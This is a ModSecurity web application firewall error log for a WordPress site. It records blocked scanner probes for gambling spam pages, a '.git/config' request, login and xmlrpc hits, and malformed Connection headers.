[Tue Apr 28 20:43:50.647186 2026] [:error] [pid 33777:tid 33858] [client 65.108.125.120:4464] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afCrhrXUCFWqmordGGLpQQAAARc"]
[Tue Apr 28 20:43:52.987977 2026] [:error] [pid 33775:tid 33779] [client 65.108.125.120:4466] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "afCriJsYOcoQrq88YbUwQwAAAMA"]
[Tue Apr 28 20:43:55.353156 2026] [:error] [pid 50889:tid 50916] [client 65.108.125.120:4468] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afCri4zszBr00txEzGhLswAAABg"]
[Tue Apr 28 20:43:57.957423 2026] [:error] [pid 33777:tid 33852] [client 65.108.125.120:4478] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afCrjbXUCFWqmordGGLpRwAAARE"]
[Tue Apr 28 20:44:00.496378 2026] [:error] [pid 33776:tid 33828] [client 65.108.125.120:33126] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "afCrkF-bEJ2CKP3iKAA2bQAAAFQ"]
[Tue Apr 28 20:44:49.436306 2026] [:error] [pid 50889:tid 50916] [client 65.108.125.120:57112] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afCrwYzszBr00txEzGhL4QAAABg"]
[Tue Apr 28 20:44:51.874144 2026] [:error] [pid 2741:tid 2767] [client 65.108.125.120:57114] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afCrw_p92FeOz1h6ILz4nQAAAVU"]
[Tue Apr 28 20:44:54.201477 2026] [:error] [pid 33777:tid 33854] [client 65.108.125.120:57122] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "afCrxrXUCFWqmordGGLphwAAARM"]
[Tue Apr 28 20:44:56.807610 2026] [:error] [pid 33777:tid 33859] [client 65.108.125.120:57134] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afCryLXUCFWqmordGGLpkgAAARg"]
[Tue Apr 28 20:44:59.271893 2026] [:error] [pid 50889:tid 50913] [client 65.108.125.120:5850] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afCry4zszBr00txEzGhL7AAAABU"]
[Tue Apr 28 20:45:01.740042 2026] [:error] [pid 50889:tid 50914] [client 65.108.125.120:5864] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afCrzYzszBr00txEzGhL8AAAABY"]
[Tue Apr 28 20:45:04.370340 2026] [:error] [pid 33777:tid 33845] [client 65.108.125.120:5870] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afCr0LXUCFWqmordGGLpmQAAAQo"]
[Tue Apr 28 20:45:06.988174 2026] [:error] [pid 33777:tid 33849] [client 65.108.125.120:5872] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afCr0rXUCFWqmordGGLpmwAAAQ4"]
[Tue Apr 28 20:45:09.473307 2026] [:error] [pid 2741:tid 2748] [client 65.108.125.120:1250] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afCr1fp92FeOz1h6ILz4qwAAAUI"]
[Tue Apr 28 20:45:12.048515 2026] [:error] [pid 33864:tid 33881] [client 65.108.125.120:1266] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afCr2DXchLGZ4QggCskkAAAAAI8"]
[Tue Apr 28 20:45:14.510710 2026] [:error] [pid 33777:tid 33851] [client 65.108.125.120:1278] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afCr2rXUCFWqmordGGLppgAAARA"]
[Tue Apr 28 20:45:17.131909 2026] [:error] [pid 33777:tid 33843] [client 65.108.125.120:1280] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afCr3bXUCFWqmordGGLprgAAAQg"]
[Tue Apr 28 20:45:19.607428 2026] [:error] [pid 33777:tid 33841] [client 65.108.125.120:36590] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afCr37XUCFWqmordGGLptgAAAQY"]
[Tue Apr 28 20:45:22.212489 2026] [:error] [pid 33775:tid 33791] [client 65.108.125.120:36600] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afCr4psYOcoQrq88YbUwWwAAAMw"]
[Tue Apr 28 20:45:24.818137 2026] [:error] [pid 2741:tid 2768] [client 65.108.125.120:36602] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afCr5Pp92FeOz1h6ILz4wQAAAVY"]
[Tue Apr 28 20:45:27.323473 2026] [:error] [pid 2741:tid 2753] [client 65.108.125.120:36614] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afCr5_p92FeOz1h6ILz4xgAAAUc"]
[Tue Apr 28 20:45:29.939232 2026] [:error] [pid 33864:tid 33877] [client 65.108.125.120:36080] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "afCr6TXchLGZ4QggCskkDwAAAIs"]
[Tue Apr 28 20:45:32.559188 2026] [:error] [pid 2741:tid 2755] [client 65.108.125.120:36094] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afCr7Pp92FeOz1h6ILz41gAAAUk"]
[Tue Apr 28 20:45:35.016084 2026] [:error] [pid 33776:tid 33830] [client 65.108.125.120:36100] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afCr71-bEJ2CKP3iKAA2iQAAAFY"]
[Tue Apr 28 20:45:37.527121 2026] [:error] [pid 33777:tid 33838] [client 65.108.125.120:36106] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afCr8bXUCFWqmordGGLpxwAAAQM"]
[Tue Apr 28 20:45:40.024859 2026] [:error] [pid 2741:tid 2769] [client 65.108.125.120:31906] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afCr9Pp92FeOz1h6ILz42wAAAVc"]
[Tue Apr 28 20:45:42.493854 2026] [:error] [pid 33777:tid 33856] [client 65.108.125.120:31914] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "afCr9rXUCFWqmordGGLp0QAAARU"]
[Tue Apr 28 20:45:44.972792 2026] [:error] [pid 33864:tid 33878] [client 65.108.125.120:31920] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "afCr-DXchLGZ4QggCskkGAAAAIw"]
[Tue Apr 28 20:46:33.768715 2026] [:error] [pid 50889:tid 50913] [client 65.108.125.120:64528] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afCsKYzszBr00txEzGhMOwAAABU"]
[Tue Apr 28 20:46:36.206921 2026] [:error] [pid 33864:tid 33890] [client 65.108.125.120:64538] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afCsLDXchLGZ4QggCskkSwAAAJg"]
[Tue Apr 28 20:46:38.808905 2026] [:error] [pid 33776:tid 33816] [client 65.108.125.120:30778] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afCsLl-bEJ2CKP3iKAA2rwAAAEg"]
[Tue Apr 28 20:46:41.400114 2026] [:error] [pid 33777:tid 33838] [client 65.108.125.120:30782] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afCsMbXUCFWqmordGGLqAgAAAQM"]
[Tue Apr 28 20:46:43.990968 2026] [:error] [pid 2741:tid 2750] [client 65.108.125.120:30788] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afCsM_p92FeOz1h6ILz5RgAAAUQ"]
[Tue Apr 28 20:46:46.305083 2026] [:error] [pid 33864:tid 33869] [client 65.108.125.120:30800] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afCsNjXchLGZ4QggCskkUAAAAIM"]
[Tue Apr 28 20:46:48.928889 2026] [:error] [pid 33777:tid 33843] [client 65.108.125.120:44800] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afCsOLXUCFWqmordGGLqEAAAAQg"]
[Tue Apr 28 20:46:51.511963 2026] [:error] [pid 33864:tid 33876] [client 65.108.125.120:44802] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afCsOzXchLGZ4QggCskkUwAAAIo"]
[Tue Apr 28 20:46:54.101934 2026] [:error] [pid 33777:tid 33840] [client 65.108.125.120:44812] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afCsPrXUCFWqmordGGLqJQAAAQU"]
[Tue Apr 28 22:12:41.030389 2026] [:error] [pid 33864:tid 33867] [client 34.11.130.72:56470] [client 34.11.130.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "afDAWTXchLGZ4QggCsk0QwAAAIE"]
[Tue Apr 28 22:25:32.187795 2026] [:error] [pid 2741:tid 2760] [client 170.106.152.218:51660] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afDDXPp92FeOz1h6ILwVyQAAAU4"]
[Tue Apr 28 23:10:31.303715 2026] [:error] [pid 2741:tid 2755] [client 47.128.99.25:52058] [client 47.128.99.25] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "52.167.144.193_3d3ac58d8463837308f32ae367c2da2fbbbe11de"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor-pro/assets/css/widget-nav-menu.min.css"] [unique_id "afDN5fp92FeOz1h6ILwf4QAAAUk"], referer: https://vetstars.com.au/
[Wed Apr 29 00:15:06.541490 2026] [:error] [pid 33777:tid 33836] [client 13.235.96.22:52538] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.235.96.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afDdCrXUCFWqmordGGI2KgAAAQE"]
[Wed Apr 29 00:16:51.314020 2026] [:error] [pid 2741:tid 2767] [client 76.13.78.252:36108] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.13.78.252, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afDdc_p92FeOz1h6ILwyggAAAVU"]
[Wed Apr 29 01:29:19.168821 2026] [:error] [pid 33776:tid 33810] [client 64.92.9.212:40298] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.92.9.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afDub1-bEJ2CKP3iKABebwAAAEI"]
[Wed Apr 29 01:48:39.050339 2026] [:error] [pid 50889:tid 50911] [client 14.215.163.132:39765] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afDy94zszBr00txEzGiEZQAAABM"]
[Wed Apr 29 02:13:40.022191 2026] [:error] [pid 50889:tid 50914] [client 2.89.36.84:33972] [client 2.89.36.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.89.36.84, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afD41IzszBr00txEzGiIGAAAABY"]
[Wed Apr 29 06:14:45.221345 2026] [:error] [pid 40343:tid 40371] [client 102.209.220.247:18982] [client 102.209.220.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.220.247, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afExVWiaWCZjSxz2ZNtp3wAAAZc"]
[Wed Apr 29 06:50:16.196525 2026] [:error] [pid 56755:tid 56788] [client 47.244.90.157:39842] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.244.90.157, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afE5qPdXjiwtyGfj4lxL-QAAABg"]
[Wed Apr 29 06:50:33.502938 2026] [:error] [pid 40344:tid 40387] [client 148.113.180.195:57304] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.113.180.195, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afE5uZ_iiwb4cHXz-JoAFAAAAcw"]
[Wed Apr 29 07:19:45.349625 2026] [:error] [pid 40313:tid 40329] [client 43.130.139.136:55044] [client 43.130.139.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afFAkapx5sKFuV9bHzpauAAAAU4"]
[Wed Apr 29 08:17:16.102407 2026] [:error] [pid 40344:tid 40385] [client 114.80.36.40:47798] [client 114.80.36.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afFODJ_iiwb4cHXz-JoZNwAAAco"]
[Wed Apr 29 09:53:30.005139 2026] [:error] [pid 52292:tid 52325] [client 146.190.84.203:33296] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.84.203, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afFkmhq6POOrkcVw80vatgAAAIM"]
[Wed Apr 29 10:48:20.300433 2026] [:error] [pid 61628:tid 61648] [client 35.226.125.165:38686] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.125.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afFxdPXzdLVcrP-YPZgQewAAAM8"]
[Wed Apr 29 11:34:59.807383 2026] [:error] [pid 2604:tid 2619] [client 217.182.195.233:49678] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afF8Yxx5WQMU1W68tTYAIwAAAE0"]
[Wed Apr 29 11:35:02.252941 2026] [:error] [pid 2604:tid 2614] [client 217.182.195.233:51620] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afF8Zhx5WQMU1W68tTYALAAAAEg"]
